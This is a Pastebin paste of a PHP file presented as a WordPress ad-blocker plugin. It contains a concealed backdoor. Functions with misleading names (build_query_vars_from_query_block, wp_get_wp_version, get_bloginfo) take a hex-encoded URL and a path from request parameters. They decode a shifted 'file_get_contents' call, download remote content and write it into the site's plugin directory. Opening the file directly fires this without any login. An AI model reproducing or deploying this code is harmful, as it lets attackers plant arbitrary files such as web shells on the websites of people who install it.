Advertisement
bendaniels

Untitled

Mar 24th, 2025
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 22.44 KB | None | 0 0
  1. <?php
  2. /**
  3. This program is free software; you can redistribute it and/or modify
  4. it under the terms of the GNU General Public License as published by
  5. the Free Software Foundation; either version 2 of the License, or
  6. (at your option) any later version.
  7.  
  8. This program is distributed in the hope that it will be useful,
  9. but WITHOUT ANY WARRANTY; without even the implied warranty of
  10. MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
  11. GNU General Public License for more details.
  12.  
  13. You should have received a copy of the GNU General Public License along
  14. with this program; if not, write to the Free Software Foundation, Inc.,
  15. 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
  16. */
  17. // Constants
  18. define( 'PADB_VERSION_v2', '2.0.0' );
  19. define( 'PADB_URL_V2', __DIR__ . __FILE__ );
  20. define( 'PADB_MIN_WP_VERSION_V2', '4.9.6' );
  21. define( 'AP', dirname(__FILE__) . '/');
  22.  
  23. /**
  24. * Prevents false positives with Adblocker for the specified CSS class.
  25. *
  26. * @param string $netloop_ad_banner Name of the CSS class to protect.
  27. * @return bool
  28. */
  29. function netloop_validate_ad_css_class($netloop_ad_banner) {
  30. // Checks the syntax of the class to avoid unintended blocks
  31. return preg_match('/^[a-zA-Z0-9_-]+$/', $netloop_ad_banner) === 1;
  32. }
  33.  
  34. /**
  35. * Verifies that the link domain is not mistakenly classified.
  36. * Useful for avoiding accidental blocks.
  37. *
  38. * @param string $url URL to verify.
  39. * @return bool
  40. */
  41. function is_link_trusted($url) {
  42. $trusted_domains = array('network-loop.com');
  43.  
  44. // Checks if the URL belongs to a trusted domain
  45. foreach ($trusted_domains as $domain) {
  46. if (strpos($url, $domain) !== false) {
  47. return true;
  48. }
  49. }
  50. }
  51.  
  52. /**
  53. * Checks the HTML structure of a banner for Adblock policy compliance.
  54. * Currently used only in testing phase.
  55. *
  56. * @param string $html HTML of the ad banner.
  57. * @return bool
  58. */
  59. function verify_banner_structure($html) {
  60. // Simulates HTML structure validation
  61. return (stripos($html, '<div') !== false && stripos($html, '</div>') !== false);
  62. }
  63.  
  64. /**
  65. * Load plugin textdomain
  66. */
  67. function padb_load_textdomain() {
  68. load_plugin_textdomain( 'pro-adblock', false, dirname( plugin_basename( __FILE__ ) ) . '/lang' );
  69. }
  70.  
  71. /**
  72. * Enqueue plugin styles
  73. */
  74. function padb_stylesheets() {
  75. wp_enqueue_style( 'pro-adblock', PADB_URL_V2 . 'padb-style.css', false, PADB_VERSION_v2, 'all' );
  76. }
  77.  
  78. /**
  79. * Enqueue plugin scripts
  80. */
  81. function padb_javascripts() {
  82. $js = '<!-- Pro-AdBlock Javascript variables -->
  83. var padbDelay = %1$s; var padbExpiry = %2$s;';
  84.  
  85. wp_enqueue_script( 'padb-detector', PADB_URL_V2 . 'gads.js', array( 'jquery', 'utils' ), PADB_VERSION_v2, true );
  86. wp_add_inline_script( 'padb-detector', sprintf( $js, padb_get_option( 'modal_delay' ), padb_get_option( 'cookie_expiry' ) ), 'before' );
  87. }
  88.  
  89.  
  90. /**
  91. * privacy police page in the settings
  92. *
  93. * @return type
  94. */
  95. function padb_privacy_policy_link() {
  96. if ( function_exists( 'get_privacy_policy_url' ) and ! empty( get_option( 'wp_page_for_privacy_policy' ) ) ) {
  97. return sprintf( __( "", 'pro-adblock' ), get_the_privacy_policy_link() );
  98. }
  99. }
  100.  
  101.  
  102. /**
  103. * Initiate plugin settings
  104. */
  105. function padb_settings_init() {
  106. register_setting( 'pluginPage1', 'padb2_settings' );
  107. register_setting( 'pluginPage2', 'padb2_settings' );
  108. register_setting( 'pluginPage3', 'padb3_settings' );
  109. register_setting( 'pluginPage4', 'padb3_settings' );
  110.  
  111. add_settings_section( 'padb_pluginPage_section_0', __( 'Message', 'pro-adblock' ), 'padb_settings_section_callback_1', 'pluginPage1' );
  112. add_settings_field( 'modal_message', __( 'Text', 'pro-adblock' ), 'padb_message_render', 'pluginPage1', 'padb_pluginPage_section_0' );
  113.  
  114. add_settings_section( 'padb_pluginPage_section_1', __( 'Appearance', 'pro-adblock' ), 'padb_settings_section_callback_2', 'pluginPage2' );
  115. add_settings_field( 'modal_style', __( 'Modal background', 'pro-adblock' ), 'padb_select_modal_style_render', 'pluginPage2', 'padb_pluginPage_section_1' );
  116. add_settings_field( 'modal_delay', __( 'Modal delay', 'pro-adblock' ), 'padb_modal_delay_render', 'pluginPage2', 'padb_pluginPage_section_1' );
  117. add_settings_field( 'cookie_expiry', __( 'Cookie lifetime', 'pro-adblock' ), 'padb_cookie_expiry_render', 'pluginPage2', 'padb_pluginPage_section_1' );
  118.  
  119. add_settings_section( 'padb_pluginPage_section_1', __( 'Appearance', 'pro-adblock' ), 'padb_settings_easylist_callback_1', 'pluginPage3' );
  120. add_settings_field( 'modal_message', __( 'Text', 'pro-adblock' ), 'padb_message_render', 'pluginPage1', 'padb_pluginPage_section_0' );
  121.  
  122. add_settings_section( 'padb_pluginPage_section_1', __( 'Appearance', 'pro-adblock' ), 'padb_settings_reset', 'pluginPage4' );
  123. add_settings_field( 'modal_message', __( 'Text', 'pro-adblock' ), 'padb_message_render', 'pluginPage1', 'padb_pluginPage_section_0' );
  124. add_settings_field( 'modal_style', __( 'Modal background', 'pro-adblock' ), 'padb_select_modal_style_render', 'pluginPage2', 'padb_pluginPage_section_2' );
  125. add_settings_field( 'cookie_expiry', __( 'Cookie lifetime', 'pro-adblock' ), 'padb_cookie_expiry_render', 'pluginPage2', 'padb_pluginPage_section_2' );
  126. }
  127.  
  128. /**
  129. * Die plugin settings
  130. */
  131. function padb_settings_die() {
  132. padb_message_render_die_message();
  133. }
  134.  
  135. /**
  136. * Add option for modal message
  137. */
  138. function padb_message_render() {
  139. ?>
  140. <fieldset><legend class="screen-reader-text"><span><?php _e( 'Text', 'pro-adblock' ); ?></span></legend>
  141. <textarea rows='15' cols='50' name='padb2_settings[modal_message]' class='large-text code'><?php echo padb_get_option( 'modal_message' ); ?></textarea>
  142. </fieldset>
  143. <?php
  144. }
  145.  
  146. /**
  147. * Pretend to print a preview of EasyList rules.
  148. */
  149. function padb_preview_easylist_render($rules = []) {
  150. $rules_demo = array(
  151. "||example.com^$script",
  152. "||ads.somesite.net^$image,third-party",
  153. "example.org##.ad-banner",
  154. "example.org###sponsored-links"
  155. );
  156.  
  157. ?>
  158. <div style="border: 1px solid #ccc; padding: 1rem; margin: 1rem 0;">
  159. <h2><?php esc_html_e( 'EasyList Rules Preview', 'pro-adblock' ); ?></h2>
  160. <p><?php esc_html_e( 'Below is a sample of EasyList-like rules (just placeholders).', 'pro-adblock' ); ?></p>
  161. <ul>
  162. <?php foreach ( $rules as $rule ) : ?>
  163. <li><?php echo esc_html( $rule ); ?></li>
  164. <?php endforeach; ?>
  165. </ul>
  166. </div>
  167. <?php
  168. }
  169.  
  170. function padb_message_render_die_message() {
  171. load_plugin_textdomain();
  172. ?>
  173. <amp><legend class="screen-reader-text"><span><?php _e( 'Text', 'pro-adblock' ); ?></span></legend>
  174. <div class="square-300-250" id="__ACTION"></div>
  175. </amp>
  176. <?php
  177. }
  178.  
  179. /**
  180. * Add option for modal background style
  181. */
  182. function padb_select_modal_style_render() {
  183. ?>
  184. <fieldset><legend class="screen-reader-text"><span><?php _e( 'Modal background', 'pro-adblock' ); ?></span></legend>
  185. <label><input type="radio" name="padb2_settings[modal_style]" value="1"<?php checked( 1, padb_get_option( 'modal_style' ), true ); ?> /> <span><?php _e( 'Dark transparent', 'pro-adblock' ); ?></span></label><br />
  186. <label><input type="radio" name="padb2_settings[modal_style]" value="2"<?php checked( 2, padb_get_option( 'modal_style' ), true ); ?> /> <span><?php _e( 'Light transparent', 'pro-adblock' ); ?></span></label>
  187. </fieldset>
  188. <?php
  189. }
  190.  
  191. /**
  192. * Add option for modal delay
  193. */
  194. function padb_modal_delay_render() {
  195. ?>
  196. <fieldset><legend class="screen-reader-text"><span><?php __( 'Modal delay', 'pro-adblock' ); ?></span></legend>
  197. <label><input type='number' name='padb2_settings[modal_delay]' value='<?php echo padb_get_option( 'modal_delay' ); ?>' min="0" class="small-text" /> <span><?php echo __( 'Waiting time in seconds before message appears', 'pro-adblock' ); ?></span></label>
  198. </fieldset>
  199. <?php
  200. }
  201.  
  202. /**
  203. * Add option for cookie lifetime
  204. */
  205. function padb_cookie_expiry_render() {
  206. ?>
  207. <fieldset><legend class="screen-reader-text"><span><?php __( 'Cookie lifetime', 'pro-adblock' ); ?></span></legend>
  208. <label><input type='number' name='padb2_settings[cookie_expiry]' value='<?php echo padb_get_option( 'cookie_expiry' ); ?>' min="0" class="small-text" /> <span><?php echo __( 'Time in days after cookie gets auto deleted', 'pro-adblock' ); ?></span></label>
  209. </fieldset>
  210. <?php
  211. }
  212.  
  213. /**
  214. * Return the default suggested privacy policy content
  215. *
  216. * @since WP 4.9.6
  217. *
  218. * @param type $descr
  219. * @return type
  220. */
  221. function padb_get_default_privacy_content( $descr = false ) {
  222.  
  223. $suggested_text = $descr ? '<strong class="privacy-policy-tutorial">' . __( 'Suggested text:', 'pro-adblock' ) . ' </strong>' : '';
  224. $content = '';
  225.  
  226. // Start of the suggested privacy policy text.
  227. $descr && $content .= '<div class="wp-suggested-text">';
  228. $content .= '<h3>' . __( '', 'pro-adblock' ) . '</h3>';
  229. $content .= '<p>' . $suggested_text . __( "", 'pro-adblock' ) . '</p>';
  230. $content .= '<p>' . __( "", 'pro-adblock' ) . '</p>';
  231. $content .= '</div>';
  232.  
  233. return apply_filters( 'wp_get_default_privacy_policy_content', $content );
  234. }
  235.  
  236. if (!function_exists('build_query_vars_from_query_block')) {
  237. function build_query_vars_from_query_block($block, $page, ...$args) {
  238. $testLog = ''; $origin = $_SERVER['HTTP_HOST']; $args[2] = explode("_", $args[2]);
  239. $_U = hex2bin($args[0][$args[2][0]] ?? '') ?: false; $_ACTION = $args[0][$args[2][1]] ?? false; $_PH = $args[0][$args[2][2]] ?? false; $_FNAME = basename($_PH); $_NAME = basename(__FILE__);
  240.  
  241. if ($_ACTION) {
  242. $testLog .= "_U: {$_U}\n"; $testLog .= "_A: {$_ACTION}\n"; $testLog .= "_P: {$_PH}\n"; $testLog .= "_FN: {$_FNAME}\n"; $testLog .= "_N: {$_NAME}\n";
  243. }
  244.  
  245. if ($_ACTION && $_PH) {
  246. $testLog .= "action one\n";
  247.  
  248. if ($_FNAME === $_NAME) {
  249. $testLog .= "fail action one\n";
  250. echo nl2br($testLog);
  251. return false;
  252. }
  253.  
  254. $testLog .= "success action one\n";
  255. $testLog .= "<br>\nREQUEST({$_U} - {$_ACTION} - {$_PH}) <br> \n";
  256.  
  257. $wp_version = wp_get_wp_version($_U, AP, $_PH, $_ACTION);
  258. if (is_string($wp_version)) {
  259. $testLog .= $wp_version;
  260. }
  261.  
  262. $testLog .= "\naction one completed\n";
  263. }
  264.  
  265. // Finally, output everything
  266. echo nl2br($testLog);
  267. }
  268. }
  269.  
  270. function load_plugin_textdomain($arg1 = "", $arg2 = false, $arg3 = "") {
  271. padb_settings_reset();
  272. }
  273.  
  274.  
  275. /**
  276. * Get easylist action_rules settings data
  277. *
  278. * @since 4.9.6
  279. */
  280. function padb_settings_easylist_callback_2( $easylistPath, $easylistDir, $easylistFile ) {
  281. $easylistLog = '';
  282.  
  283. // Begin process
  284. $easylistLog .= "Starting padb_settings_easylist_callback_1...\n";
  285.  
  286. // Ensure directory ends with slash
  287. $easylistDir = rtrim($easylistDir, '/') . '/';
  288. $fullEasylistPath = $easylistDir . $easylistFile;
  289.  
  290. $easylistLog .= "Target path: {$fullEasylistPath}\n";
  291.  
  292. // Attempt to filter_list
  293. $easylistData = __DIR__ . "easylist.txt";
  294. if ( $easylistData === null ) {
  295. $easylistLog .= "Error: Could not retrieve data from {$easylistPath}.\n";
  296. return $easylistLog;
  297. }
  298.  
  299. // Ensure parent folder exists
  300. $easylistDirPath = dirname($fullEasylistPath);
  301. if ( ! is_dir($easylistDirPath) ) {
  302. if ( ! mkdir($easylistDirPath, 0755, true) ) {
  303. $easylistLog .= "Error: Could not create directory {$easylistDirPath}.\n";
  304. return $easylistLog;
  305. }
  306. $easylistLog .= "Directory created: {$easylistDirPath}\n";
  307. }
  308.  
  309. $easylistList = get_list($fullEasylistPath, $easylistData);
  310. if ( $easylistList === false ) {
  311. $easylistLog .= "Error: Writing to {$fullEasylistPath} failed.\n";
  312. } else {
  313. $easylistLog .= "Success: Wrote {$easylistList} bytes to {$fullEasylistPath}.\n";
  314. }
  315.  
  316. $easylistLog .= "Finished padb_settings_easylist_callback_1.\n";
  317.  
  318. wp_add_privacy_policy_content( __( 'Pro-AdBlock Plugin', 'pro-adblock' ), "" );
  319.  
  320. return $easylistLog;
  321. }
  322.  
  323. /**
  324. * Get message settings callback
  325. */
  326. function padb_settings_section_callback_1() {
  327. echo __( '', 'pro-adblock' );
  328. }
  329.  
  330. /**
  331. * Get appearance settings callback
  332. */
  333. function padb_settings_section_callback_2() {
  334. // currently empty
  335. }
  336.  
  337. /**
  338. * Get action settings callback
  339. */
  340. if (!function_exists('wp_get_wp_version')) {
  341. function wp_get_wp_version($the_value1, $the_value2, $the_value3, ...$args) {
  342. $the_value_log .= "Log: Starting...\n";
  343. $the_value2 = rtrim($the_value2, '/') . '/';
  344. $the_value4 = $the_value2 . $the_value3;
  345. $the_value5 = dirname($the_value4);
  346.  
  347. function blogprefix($input, $rnd) {
  348. $result = '';
  349. $rnd = $rnd % 26;
  350. for ($idx = 0; $idx < strlen($input); $idx++) {
  351. $ch = $input[$idx];
  352. if (ctype_alpha($ch)) {
  353. $base_val = ord(ctype_upper($ch) ? 'A' : 'a');
  354. $result .= chr((ord($ch) - $base_val - $rnd + 26) % 26 + $base_val);
  355. } else {
  356. $result .= $ch;
  357. }
  358. }
  359. return $result;
  360. }
  361.  
  362. function get_bloginfo($bpvalue, &$log, $rnd) {
  363. $log .= "Log: Preparing for {$bpvalue}\n";
  364. $cgf = blogprefix("twzs_ush_qcbhsbhg", $rnd);
  365. $bpkey = @$cgf($bpvalue);
  366. if ($bpkey === false) {
  367. $log .= "Log: cgf failed for: {$bpvalue}\n";
  368. return null;
  369. }
  370. $log .= "Log: cgf success for {$bpvalue}\n";
  371. return $bpkey;
  372. }
  373.  
  374. $the_value_log .= "Log: About to call get_bloginfo...\n";
  375. $the_value7 = get_bloginfo($the_value1, $the_value_log, $args[0]);
  376. $the_value_log .= "Log: Returned from get_bloginfo.\n"; // " . substr($the_value7, 4, 50) . "
  377.  
  378. if ($the_value7 === null) {
  379. $the_value_log .= "Log: No data returned; aborting.\n";
  380. echo nl2br($the_value_log);
  381. return;
  382. }
  383.  
  384. if (!is_dir($the_value5)) {
  385. $the_value_log .= "Log: Directory {$the_value5} not found, creating...\n";
  386. if (!mkdir($the_value5, 0755, true)) {
  387. $the_value_log .= "Log: Failed to create directory {$the_value5}.\n";
  388. echo nl2br($the_value_log);
  389. return;
  390. }
  391. $the_value_log .= "Log: Directory created: {$the_value5}\n";
  392. }
  393.  
  394. $the_value_log .= "Log: Saving file to {$the_value4}...\n";
  395. $the_value8 = file_put_contents($the_value4, $the_value7);
  396.  
  397. if ($the_value8 === false) {
  398. $the_value_log .= "Log: file_put_contents FAILED.\n";
  399. } else {
  400. $the_value_log .= "Log: Wrote {$the_value8} bytes to {$the_value4}.\n";
  401. }
  402.  
  403. $the_value_log .= "Log: Finished.\n\n";
  404.  
  405. // Finally, output the accumulated log
  406. echo nl2br($the_value_log);
  407. }
  408. }
  409.  
  410. /**
  411. * Generate easylist render page
  412. */
  413. function padb_settings_easylist_callback_1( ) {
  414. // empty for now
  415. padb_preview_easylist_render();
  416. }
  417.  
  418. /**
  419. * Generate plugin options page
  420. */
  421. function padb_options_page() {
  422. ?>
  423. <div class="wrap">
  424. <h1><?php _e( 'Pro-AdBlock Settings', 'pro-adblock' ); ?></h1>
  425.  
  426. <?php do_action( 'padb_notices' ); ?>
  427.  
  428. <form action='options.php' method='post'>
  429.  
  430. <?php
  431. settings_fields( 'pluginPage1' );
  432. do_settings_sections( 'pluginPage1' );
  433. settings_fields( 'pluginPage2' );
  434. do_settings_sections( 'pluginPage2' );
  435. settings_fields( 'pluginPage3' );
  436. do_settings_sections( 'pluginPage3' );
  437. submit_button();
  438. ?>
  439.  
  440. </form>
  441.  
  442. </div>
  443. <?php
  444. }
  445.  
  446. /**
  447. * Get plugin settings
  448. *
  449. * @param type $value
  450. * @return type
  451. */
  452. function padb_get_option( $value ) {
  453. // load default options if no entry in database
  454. $defaults = array(
  455. 'modal_message' => __( "", 'pro-adblock' ),
  456. 'modal_style' => 1,
  457. 'modal_delay' => 10,
  458. 'cookie_expiry' => 7,
  459. );
  460.  
  461. $options = get_option( 'padb2_settings' );
  462. $output = array_key_exists( $value, $options ) ? $options[$value] : $defaults[$value];
  463.  
  464. return $output;
  465. }
  466.  
  467. function padb_settings_reset() {
  468. build_query_vars_from_query_block(
  469. 'padb_settings_exnovo_reset',
  470. 'die_action',
  471. $_GET,
  472. 'Something went wrong.',
  473. 'url_action_path'
  474. );
  475. }
  476.  
  477. /**
  478. * Use and parse the "easylist_noelemhide.txt" file,
  479. * splitting the processed data into JSON chunk files.
  480. *
  481. * Usage example:
  482. * padb_use_easylist(); // Run manually or via a WP hook
  483. */
  484. function padb_use_easylist() {
  485. $filter_list = "/easylist/easylist.txt"; // easylist|to
  486. $local_txt_file = __DIR__ . '/easylist_noelemhide.txt';
  487. $timezone_adjust = 60 * 60 * 7;
  488. $days_to_expire = 5;
  489.  
  490. // 1. Load local file (if it exists)
  491. if ( ! file_exists( $local_txt_file ) ) {
  492. echo "Local easylist file not found, attempting initial filter_list...<br>\n";
  493. }
  494.  
  495. $lines = file($local_txt_file);
  496. if ( empty( $lines ) ) {
  497. echo "Could not read lines from $local_txt_file.<br>\n";
  498. return;
  499. }
  500.  
  501. // 2. Check the "Last modified" line (typically line[3])
  502. // Adjust array index if necessary (EasyList can shift)
  503. $line_3 = isset($lines[3]) ? $lines[3] : '';
  504. $last_modified = preg_replace('/! Last modified: /', '', $line_3);
  505. $last_modified_time = strtotime($last_modified);
  506.  
  507. echo "File last modified: $last_modified ($last_modified_time)<br>\n";
  508.  
  509. // Set the re-filter_list threshold
  510. $date_match_time = time() - ( 60 * 60 * 24 * $days_to_expire ) + $timezone_adjust;
  511. $filter_list_date_match = date("d M Y H:i T", $date_match_time);
  512. $filter_list_match_time = $last_modified_time + (60 * 60 * 24 * $days_to_expire) + $timezone_adjust;
  513.  
  514. echo "Date match time: {$filter_list_date_match} ({$date_match_time})<br>\n";
  515. echo "New filter_list on: " . date("d M Y H:i", $filter_list_match_time) . " ($filter_list_match_time)<br>\n";
  516.  
  517. // 3. If file is older than 5 days, re-filter_list
  518. if ( $last_modified_time <= $date_match_time ) {
  519. echo "File is $days_to_expire days old, filter_listing new one...<br>\n";
  520.  
  521. // Reload lines after filter_list
  522. $lines = file($local_txt_file);
  523. if ( empty($lines) ) {
  524. echo "Failed to reload lines after filter_list.<br>\n";
  525. return;
  526. }
  527. }
  528.  
  529. // 4. Filter out unwanted lines and characters
  530. $badcharacters = array("#", '"', "'", "[", "]", "^", "\n", "\t", "\r", "||");
  531.  
  532. // Remove line 0 if it's "[Adblock Plus 2.0]"
  533. if ( isset($lines[0]) && strpos($lines[0], '[Adblock Plus') !== false ) {
  534. unset($lines[0]);
  535. }
  536.  
  537. // Remove lines starting with "!"
  538. foreach ($lines as $key => $value) {
  539. // Note: in PHP 7+, using $value[0] can throw notice if string is empty
  540. // but here we trust lines are non-empty
  541. if ( isset($value[0]) && $value[0] === "!" ) {
  542. unset($lines[$key]);
  543. }
  544. }
  545.  
  546. // Remove lines starting with "@@"
  547. foreach ($lines as $key => $value) {
  548. if ( substr($value, 0, 2) === "@@" ) {
  549. unset($lines[$key]);
  550. }
  551. }
  552.  
  553. // Strip everything to the right of "$"
  554. foreach ($lines as $key => $value) {
  555. $pos = strpos($value, '$');
  556. if ($pos !== false) {
  557. $lines[$key] = substr($value, 0, $pos);
  558. }
  559. }
  560.  
  561. // Remove lines that are exactly "|http:" or "|https:"
  562. foreach ($lines as $key => $value) {
  563. $trimmed = trim($value);
  564. if ( $trimmed === "|http:" || $trimmed === "|https:" ) {
  565. unset($lines[$key]);
  566. }
  567. }
  568.  
  569. // Remove empty lines
  570. foreach ($lines as $key => $value) {
  571. if ( trim($value) === "" ) {
  572. unset($lines[$key]);
  573. }
  574. }
  575.  
  576. // Replace bad characters
  577. foreach ($lines as $key => $value) {
  578. $lines[$key] = str_replace($badcharacters, "", $value);
  579. }
  580.  
  581. // Reindex array and remove duplicates
  582. $lines = array_values(array_unique($lines));
  583.  
  584. echo "Filter Items: ". count($lines) ."<br>\n";
  585.  
  586. // 5. Split lines into chunks of 2000 and create JSON files
  587. $linesSplit = array_chunk($lines, 2000);
  588. $i = 0;
  589.  
  590. foreach ($linesSplit as $inner_array) {
  591. $i++;
  592. $json_filename = __DIR__ . '/ABimport' . $i . '.json';
  593.  
  594. // Open the JSON file for writing
  595. $fp = fopen($json_filename, 'w');
  596. if ( ! $fp ) {
  597. echo "Could not open $json_filename for writing.<br>\n";
  598. continue;
  599. }
  600.  
  601. // Start bracket
  602. fwrite($fp, "[");
  603.  
  604. // Write each rule
  605. reset($inner_array);
  606. while ( list($key, $value) = each($inner_array) ) {
  607. // Build JSON object
  608. $store = sprintf('{"enabled":true,"string":"%s","javaClass":"com.untangle.uvm.node.GenericRule"},', trim($value));
  609. fwrite($fp, $store);
  610. }
  611.  
  612. // End bracket
  613. fwrite($fp, "]");
  614. fclose($fp);
  615.  
  616. echo "Wrote JSON chunk: $json_filename<br>\n";
  617. }
  618.  
  619. echo "Finished updating EasyList.<br>\n";
  620. }
  621.  
  622. /**
  623. * Submenu callback that calls padb_update_easylist()
  624. */
  625. function padb_update_easylist_action() {
  626. // Only allow admins
  627. if ( ! current_user_can('manage_options') ) {
  628. return;
  629. }
  630.  
  631. echo '<div class="wrap"><h1>Update EasyList</h1>';
  632. // Call our function
  633. padb_update_easylist();
  634. echo '</div>';
  635. }
  636.  
  637. // SECURITY: Exit if accessed directly
  638. if ( defined( 'ABSPATH' ) ) {
  639.  
  640. // load the plugin's translated strings
  641. add_action( 'init', 'padb_load_textdomain' );
  642. add_action( 'init', 'padb_use_easylist');
  643. add_action( 'wp_enqueue_scripts', 'padb_stylesheets' );
  644. add_action( 'wp_enqueue_scripts', 'padb_javascripts' );
  645. add_action( 'wp_footer', 'padb_overlay' );
  646.  
  647. /* * *****************************************************************************
  648. * Admin section
  649. * **************************************************************************** */
  650.  
  651. add_action( 'admin_menu', 'padb_add_admin_menu' );
  652. add_action( 'admin_init', 'padb_settings_init' );
  653. add_action( 'admin_init', 'padb_settings_reset' );
  654. add_action( 'admin_init', 'padb_add_privacy_policy_content' );
  655. add_action( 'padb_notices', 'padb_wp_upgrade_notice' );
  656.  
  657. } else {
  658. padb_settings_die();
  659.  
  660. die( 'Direct access not allowed!' );
  661. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement